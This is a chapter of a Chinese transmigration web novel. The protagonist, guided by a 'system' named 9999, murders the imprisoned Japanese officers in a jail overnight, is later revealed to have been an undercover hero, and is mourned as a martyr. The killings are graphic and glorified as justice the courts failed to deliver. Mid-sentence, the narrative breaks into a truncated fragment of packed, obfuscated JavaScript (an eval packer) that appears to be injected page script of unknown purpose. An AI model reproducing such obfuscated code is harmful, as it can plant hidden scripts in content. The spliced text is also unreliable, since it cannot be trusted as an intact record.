“可是那就晚了!”傅云禾几乎是声嘶力竭的吼了出来。 等到了那个时候,她还怎么救得下兄长? 只她一个人相信兄长是不行的,必须要有证据啊! 可她又要到哪里去找证据呢? 傅云禾失魂落魄的走了出来,漫步在热闹的大街上。 每个人的脸上表情都是那样的开心。 他们欢呼着,拥抱着,奔走相告,喜气洋洋。 雀跃她的兄长,要死了…… —— 监牢里,陆陆续续又有不少的东瀛军官被关了进来。 在被押上军事法庭的前一夜,沈听肆咳了血。 9999都快哭了,【宿主,咋办啊,这剧情还没走完呢!】 按照原剧情,沈听肆要在半个月后被执行枪决。 可如今看着他的这具破身体,恐怕连半天都有些难以支撑了,又怎么可能还撑得过半个月? 但沈听肆却只轻轻的笑了笑,面上丝毫不慌,“没事,我心里有数。” 9999:【……】 还有数呢,都快要见不到明天早上的太阳了! 夜幕悄然降临,本就昏暗的牢房里面越发的看不见了。 被关押起来的绝大部分的东瀛军官都不是十分忐忑,甚至还三三两两的聚在一起有说有笑,他们丝毫不担心自己的未来。 因为他们知道,既便是上了军事法庭,他们也顶多被判处关个几年的监禁,根本不会真的要了他们的命。 甚至还有人找律师弄了精神鉴定报告,就可以凭借那薄薄的一张纸,毫发无损的从军事法庭上面下来。 沈听肆知道,今天关押在监牢里面的这些人,除了原主傅青隐一个被执行枪决了以外,其他的没有任何一个被判处死刑的,判的最为严重的一个,也只不过是被判了二十年监禁而已。 如此刑法,对于他们曾经做下的孽而言,完全可以称得上是毫无惩戒了。 既然法律无法制裁他们,那就在黎明到来之前,将他们彻底的解决在夜晚吧。 沈听肆单手撑着墙壁站了起来,透过那层窗户外面照射进来的皎洁月光,缓缓的从袖子里面掏出了被藏起来的半截筷子,毫无征兆地刺穿了靠在他旁边,已然陷入沉睡当中的平川大佐的脖颈。 滚烫的鲜血,恍若喷泉一般骤然间喷洒而出,浸透了沈听肆的半截衣袖。 剧烈的疼痛让平川大佐猛然间睁大了眼睛,那双几乎要从眼眶里面瞪出来的眸子,死死的盯着沈听肆,里面充满着浓烈的不可置信。 他不明白,沈听肆为何会对他动手。 他拼命地用双手去捂住脖子,试图阻止那不断往外涌的鲜血,可沈听肆我那一筷子直接扎透了他脖颈上的大动脉,无论他如何的努力,都堵不住不断喷涌而出的血液。 他张大嘴巴想要呼喊,想要求救,可整个脖颈间却在不断地灌入冷风,让他根本说不出话来,只能发出几道沙哑的“荷荷”声。 痛苦的窒息感觉彻底的将平川大佐给淹没,他大睁着眼睛,努力的朝前去够沈听肆,试图让自己能够活下去。 可奈何,沈听肆只淡淡瞥了他一眼,随后将插入他脖颈间的那半截筷子拔出。 本就不断涌出的鲜血,此时就仿佛是拿卸了闸的洪水一般,再也没有任何东西能够阻挡它的奔涌。 不过片刻的时间,平川大佐就已经停止了呼吸。 他的身体摇摇晃晃了两下,歪着倒了下来,沈听肆单手将其扶住,缓缓的将他放倒在地上,没有发出多少声响。 沈听肆的动作太过于迅速,等到9999反应过来的时候,平川大佐早已经死的透透的了。 【宿主……】9999惊呆了,【你在做什么?】 沈听肆缓缓起身,走向这间监牢里的另外一个人,那人背靠着墙壁,缩在角落里,已然是睡着了。 这人是一个不大不小的军官。 沈听肆走到他面前,双手缓缓摸向他的脑袋。 那人察觉到一丝异样,下意识的睁开了眼睛来,看到沈听肆的时候,他露出一抹浅笑,“傅君……” 可才说了两个字,沈听肆身上浓烈的血腥气息就已经涌入了他的鼻腔。 那人瞬间意识到不对劲之处,抬起手来就要拍开沈听肆,甚至还怒吼了一声,“你要做什么?!” 但说时迟那时快,就在他的双手即将要触碰到沈听肆的一瞬间,伴随着一声“咔嚓”的轻响,那人的脖子就已经被扭断了来。 这一下子,沈听肆用了十成十的力,他单手撑着墙角,气喘吁吁,却依然不忘回答,刚才9999的问题,【自然是,替天行道了。】 这些人,全部都死不足惜,但既然现如今的法律无法惩治他们,那就由他来吧。 9999几乎是瞳孔地震,【你该不会是想要在今天晚上把这些人都解决了吧?】 沈听肆额前的碎发飘荡在肮脏的灰尘里,淡淡的月光下,他一张脸苍白如纸,却在转眸时,勾唇轻笑,【为什么不呢?】 【你疯了?!】9999彻底傻了,按照沈听肆现在这破败的身子,恐怕还不等到他能把所有的人都给解决完,他就能直接被累死过去。 沈听肆对此不置可否,【放心,我并没有托大。】 上个世界,他可是跟着念双学了一年多的武功,虽然在这里他并没有什么内力,但身手却未曾忘记。 关押在监牢里的东瀛军官们,带兵打仗,布置作战任务或许都很厉害,可单打独斗起来的话,沈听肆未必不能将他们拿下。 关押他们的人,没有想过他们会在监牢里面自相残杀,因此,像筷子,勺子这一类的东西并未曾被严格控制。 沈听肆不仅偷藏了一根筷子,甚至还藏了一枚铁勺。 铁勺的柄端本来也不太粗,被他磨了几天后,基本上可以当做一根针来用了。 这个牢房里面一共就关了他们三个人,沈听肆解决了另外两个,直接用那根磨细了的铁勺的柄端打开牢房上的锁,又趁着夜色,潜入到了隔壁去。 每个牢房里面关着的人都不多,基本上都在五个以内,于是,沈听肆用了一晚上的时间,让关押在这里的东瀛军官全部都送去见了阎王。 月亮隐匿在了树梢后,金色的日光洒了下来。 沈听肆浑身狼狈的倚靠在最初关押他的监牢门口。 他要去杀那些东瀛的军官,那些人也不会就这样等着被他杀,自然是有所反抗。 双拳难敌四腿,即便沈听肆身法娴熟,可在一轮又一轮的围攻之下,他也不可能毫发无伤。 更何况他的身体本就到了强弩之末,能坚持到现在,都只不过是撑着最后的一口气罢了。 他受了很严重的伤,即便现在立马送医,也活不下来了。 瘦削的骨架外面,披着鲜血浸染的衣裳,在昏暗的监牢里面,被风吹的凄惨飘荡,几乎快要遮盖不住伤痕累累的身躯。 许许多多纵横交错的伤痕遍布其上,每一道伤痕都看得出是极具残忍——下手之人凶狠蛮横,深可见骨。 浓烈到令人作呕的血腥味不停的弥散在监牢里,沈听肆的右手上,鲜血淋漓,白骨坦露,手腕处还挂着破碎残留的筋肉。 如此残忍的一幕,若是有任何一个活人看见,恐怕都会被吓得当场惊叫起来。 可沈听肆的面上却无喜亦无悲,他就那样静静的背靠在冰冷的墙壁上,冷眼看着这一切。 虽然察觉不到疼痛,但他却感到了无尽的疲惫,那种来自于灵魂深处的疲惫让他恨不得现在立马就闭上眼睛大睡一觉。 拖着残破的身子,打了一整夜的架,他真的太累了。 9999想要说上一些安慰自家宿主的话,可它张了张口,却发现他一个字都说不出来。 上一个任务也是,宿主把自己搞得凄惨兮兮,结果这一个任务,弄得几乎没有个人样了。 他沉沉的叹了一口气,【宿主,任务时间还没到。】 沈听肆用力的扯了扯嘴角,眨眼间就有鲜血从他嘴边溢出,【但是也差不多了。】 【我好困,想睡了。】 【别……】9999喊了一声,想要让沈听肆再坚持坚持,可沈听肆睫毛颤了颤,却好似再也无法睁开了。 在第一缕阳光照射进来之际,沈听肆面带微笑的,彻底闭上了眼睛。 —— 监牢外面,温承松和乐倾川并排走了进来,他们现在要将监牢里的犯人们全部带到法庭上去,等待着法官根据他们以往所犯的罪行宣判。 “终于要尘埃落定了,”乐倾川沉重的喘了一口气,“等到明天宣判了,我们就去把陈老师和沈先生的墓给迁回来,把他们安置到烈士陵园里去,让我们的子孙后代们,都记着他们的这份牺牲。” 温承松点了点头,随后示意看守监牢的同志打开牢门。 “轰——” 关闭了一晚上的大门被打开,扑面而来的血腥气息,几乎让在场的所有人都直接呕了出来。 如此浓重的血腥味道,比之前线战场都是有过之而无不及。 乐倾川惊讶的瞪大了双眼,“这是怎么回事?” 他一边喊着,一边急速跑了进去,然后就看到被关押在里面的东瀛军官们,一个个的全部都被杀掉了。 “这……”乐倾川有些不敢相信自己所见到的,目瞪口呆的呢喃着,“这究竟是谁干的?” 温承松的视线一寸寸扫过残骨,只觉得自己的呼吸都仿佛停止了一瞬,一张脸更是骇然的没有丝毫的血色。 整个监牢里面,太过于惨烈。 到处都是血,到处都是尸体,死亡的气息彻底的将这里笼罩了起来。 视线扫过门口的方向,温承松的神情却突然顿住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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忽的,温承松心中升起了一个让他不敢相信的念头。 他想起了前段时间傅云禾来求他见沈听肆最后一面时所说的话,“兄长不是这样的人,他一定有苦衷!” 他当时毫不留情的否定了傅云禾,无论她怎样的哀求,他都不允许傅云禾再见沈听肆一面。 可万一…… 这是真的呢?! 温承松低下头,双眼泛红,完全不顾血腥和脏污,开始在沈听肆他身上翻找了起来。 乐倾川被他突如其来的动作弄得一头雾水,“你这是要做什么?人都已经死了,就算你再过于痛恨于他,也还是不要对尸体……” 乐倾川这一番话还没有说完,温承松这仿佛是看到了什么格外令他惊恐的东西一样,整个人颓然倒地。 温承松在刹那之间丧失了所有的思考能力,颤抖着双手,满眼的不可置信,“怎……么……可……能……?!!!” “你怎么了?”乐倾川看到温承松如此失魂落魄的模样,焦急不已,“你倒是说话呀!” 可温承松却依然完全听不见他所说的话了。 沈听肆那张素来清隽的容颜上,纵横交错着鲜血淋漓的伤痕,再也看不见曾经那副让他厌恶的嘴脸。 可同时,也不会再微笑着鼓励他,让他不要放弃一切的希望。 如此近的距离,温承松再也察觉不到对方丝毫的呼吸。 “不……”温承松低声呢喃,只觉得整个人如坠冰窖,浑身上下传来一股彻骨的凉意,一直凉到了他的骨头缝里去,甚至连他的灵魂都冻得格外的扭曲。 怎会如此?怎会如此? “傅!青!隐!”温承松将这三个字狠狠的咬碎在唇齿间,泪水控制不住的汹涌出来,“为什么不说,你为什么不说啊?!!!” 温承松猛然间站起身,慌慌张张的不知道该做些什么,最后竟然猛的一巴掌打在了自己的脸上,“温承松!你简直就是个瞎子!” 他不止一次的从沈先生身上感受到那种熟悉的感觉,甚至不止一次的怀疑过沈先生和傅青隐有关系。 可当那张报纸出现在他面前,白纸黑字的写着沈先生就是傅逸安的时候,他没有丝毫犹豫的就信了。 只是因为他恨傅青隐,怨恨对方抛弃了他们的理想,选择苟且偷生的投靠东瀛人! 可是啊…… 若他不投靠的话,将会有多少的同胞被东瀛人抓起来做活体实验啊?那一批又一批运到前线的药品,又从何而来呢?他们的刺杀行动,又哪里来的那样确切的消息? 傅逸安…… 一个仅仅掌握着傅家的生意,但却和东瀛人毫无联系的人,真的能凭借着傅青隐弟弟的身份,获得那么多机密的情报吗? 根本不可能的! 只是因为他们不愿意相信,那个背叛了所有人的人,实际上是在向着他们罢了。 温承松心头一颤,像个孩子一样,无助的呢喃,“倾川……怎么办……他才是沈先生……” 他愣愣的伸出手,试图向半空当中抓住些什么,可他脑子里面一片空白,终究什么也没有抓住。 他这辈子最敬重的人,因为他的私心,失去了唯一可以辩驳的机会。 乐倾川收紧双臂,只觉得自己仿佛听到了什么格外诡异的事情,“你说什么?” 温承松浑身抖动的厉害,他伸出手指,缓缓指向沈听肆的腹部。 那里留着一道手工用线缝制的疤痕。 “我们当时刺杀渡边信长那日,沈先生为了救我腹部中枪,他在没有麻醉剂的情况下,就只用沸水煮过的针线,一帧一帧的将伤口缝了起来……”温承松说着说着,就有些泣不成声,“亲眼看着他缝了这个伤口,可傅青隐身上的,一模一样……” 乐倾川还是有些不太愿意相信,他迟疑了一瞬,“你会不会是认错了?” “不可能,”温承松摇了摇头,露出一抹格外惨然的笑来,“我认错,谁都不会认错沈先生。” 轻描淡写的话语,却仿佛是一记重锤一般,重重的敲在了乐倾川的心上,让他久久的发不出声音。 “怎会如此……” “如果是这样,他为什么不直接说?为什么还要和这些东瀛人关在一起?” 阳光从窗外寸寸洒落,照亮了一世的阴暗,温承松闭着双眼,将脑袋埋在自己的双膝前,近乎无声的喃喃,“或许……就是为了杀死这些东瀛军官呢?” 温承松的猜测,很快就得到了证实。 在军事法庭上,那些犯下累累罪行的东瀛人,绝大部分都逃脱了罪责。 得知这个消息的时候,方槿气的差点当场就要掏出枪来杀人,“太过分了!” 温承松看了一眼乐倾川,瞬间红了眼眸,眼眶里不断的涌出泪来,“我想……他为什么不说出自己就是沈先生了。” 乐倾川身体一晃,整个人差点跌倒,“他到底……背负了多少?” 他也不过才二十多岁的年纪,背负了那么多的仇恨和骂名,所有人都说他是叛徒,是卖国贼,人人得而诛之,他的名字提起来就是耻辱。 可直到生命的最后一刻,他还在为着这个国家付出。 他用命去成全了无数人,让那些作恶多端的东瀛军官们,出了应有的惩罚。 可他呢? 他从未想过自己如何啊! 乐倾川只觉得自己的一颗心空落落的,比之当初在报纸上面得知沈先生死亡的消息时,更让他无比难受。 眼泪一滴一滴的落下来,溅在地面上,炸开一朵一朵名之为绝望的花。 —— 新夏国成立,所有立下功劳的人,都被授予了烈士的称号。 烈士陵园,那一块高高的墓碑上,“傅青隐”三个大字,排在最前列。 红党官方公布了沈听肆卧底的身份,将他曾经所付出的一切都讲述了出来,让这个背负了多年骂名的人,终于拿回了属于自己的勋章。 无数的百姓自发的涌到烈士陵园里来,为自己曾经的误会道歉。 傅云禾穿着一身黑衣站在前排,木然的听着一个又一个人对她说“节哀”。 可她如何节的了? 那是将她从一滩烂泥里拉出来,给了她全新的希望的兄长! 傅云禾拒绝了组织上安排给她留在北平医院的工作,选择去南方。 她不想留在这个伤心地,即便她知道北平所有的百姓都是无辜的,他们不曾知道兄长所有的委屈和苦衷,可傅云禾终究还是无法坦然的,在医院里面给这些百姓看病治伤。 就当她自私吧。 她会带着兄长的期待,活出自己的人生来,但是,今日事毕,她将再也不会踏足北平。 傅烆红着眼睛,当一束小雏菊放在了墓碑的前面,缓缓说了句,“对不起。” 他和儿子的最后一面,竟是他毫不留情地给了儿子一巴掌。 这是他从小寄予厚望的儿子啊! 他竟然从未信过他…… 乌云翻滚,秋风萧瑟,前来祭拜的百姓越发的多,他们挤挤挨挨地涌进来,嘴里不停的喊着,“先生大义!我等为先生送行!” “先生大义!请先生受我一拜!” “傅先生,对不起,今日才得知你的事迹。” 原本还只是一两个人在喊,到了后面,所有人竟不自觉地组织了起来。 他们弯着腰,鞠着躬,向这个死去的年轻人,献上他们最尊崇的敬意。 “先生大义!” “先生大义!” “先生大义!” 一群人几乎是哭的不能自已。 随着越来越多的人参与进来,漫天的乌云竟然奇迹般的散去了,耀眼的金光穿透云层,如同利剑一般洒下,将整个烈士陵园照得灿然一片。 温承松一颗心难受的紧,一步一步的绕过人群,走到了外面。 此时,阳光正好,人间太平。 温承松攥紧双拳,抬眸看向那轮耀眼的红日,“先生,你看,这世界,终究如你所愿。” 刺目的阳光照射在温承松的眼里,让他不由自主的落下了泪来。 他再次想起自己当年刚刚考入北平大学之际,那名年轻的先生,穿着长衫,心怀希望,眼睛明亮。 告诉他们所有的学生: 君须记,满山红旗向东升。